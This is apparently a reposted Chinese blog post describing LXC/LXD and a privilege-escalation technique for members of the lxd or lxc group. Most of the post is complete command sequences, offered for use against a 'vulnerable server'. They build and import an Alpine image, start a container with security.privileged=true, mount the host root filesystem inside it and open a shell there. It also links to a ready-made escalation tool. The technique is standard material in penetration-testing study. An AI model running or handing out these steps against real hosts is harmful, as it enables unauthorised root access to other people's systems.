首页 > 技术文章 > lxd/lxc组提权

hirak0 2022-04-07 11:37 原文

lxd和lxc

Linux Container(LXC)通常被认为是一种轻量级虚拟化技术,它介于Chroot和完整开发的虚拟机之间,LXC可以创建一个跟正常Linux操作系统十分接近的环境,但是不需要使用到单独的内核资源。

Linux Daemon(LXD)是一个轻量级容器管理程序,而LXD是基于LXC容器技术实现的,而这种技术之前Docker也使用过。LXD使用了稳定的LXC API来完成所有的后台容器管理工作,并且增加了REST API支持,更进一步地提升了用户体验度。

lxd/lxc 组-权限提升

如果你属于 lxd 或 lxc 组,你可以利用这个进行提权

在没有互联网的情况下利用

方法一

您可以在您的机器上安装此发行版构建器:https://github.com/lxc/distrobuilder(按照 github 的说明进行操作)

sudo su
#安装环境
sudo apt update
sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools
#克隆 repo
sudo go get -d -v github.com/lxc/distrobuilder
#制作 distrobuilder
cd $HOME/go/src/github.com/lxc/distrobuilder
make
#准备创建 alpine
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
#创建容器
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8

然后,将文件 lxd.tar.xz rootfs.squashfs 上传到易受攻击的服务器

建镜像

lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
lxc image list #您可以看到新导入的镜像

创建容器并添加根路径

lxc init alpine privesc -c security.privileged=true
lxc list #列举容器

lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true

如果您发现此错误错误:未找到存储池。请创建一个新的存储池 运行 lxd init 并重复前面的命令块

执行

lxc start privesc
lxc exec privesc /bin/sh
[email protected]:~# cd /mnt/root #这里是文件系统的挂载位置

方法二

构建一个 Alpine 映像并使用标志 security.privileged=true 启动它,强制容器以 root 身份与主机文件系统交互。

# 构建一个简单的alpine镜像
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686

# 导入镜像
lxc image import ./alpine*.tar.gz --alias myimage # 从受害者机器上的您的主目录执行此操作很重要,否则可能会失败。

# 在运行镜像之前,启动并将 lxd 存储池配置为默认值
lxd init

# 运行镜像
lxc init myimage mycontainer -c security.privileged=true

# 将 /root 挂载到镜像中
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true

# 与容器交互
lxc start mycontainer
lxc exec mycontainer /bin/sh

或者使用这个:https://github.com/initstring/lxd_root

在有互联网的情况下利用

可以参考这个:https://reboare.github.io/lxd/lxd-escape.html

lxc init ubuntu:16.04 test -c security.privileged=true
lxc config device add test whatever disk source=/ path=/mnt/root recursive=true 
lxc start test
lxc exec test bash
[email protected]:~# cd /mnt/root #这里是文件系统的挂载位置

推荐阅读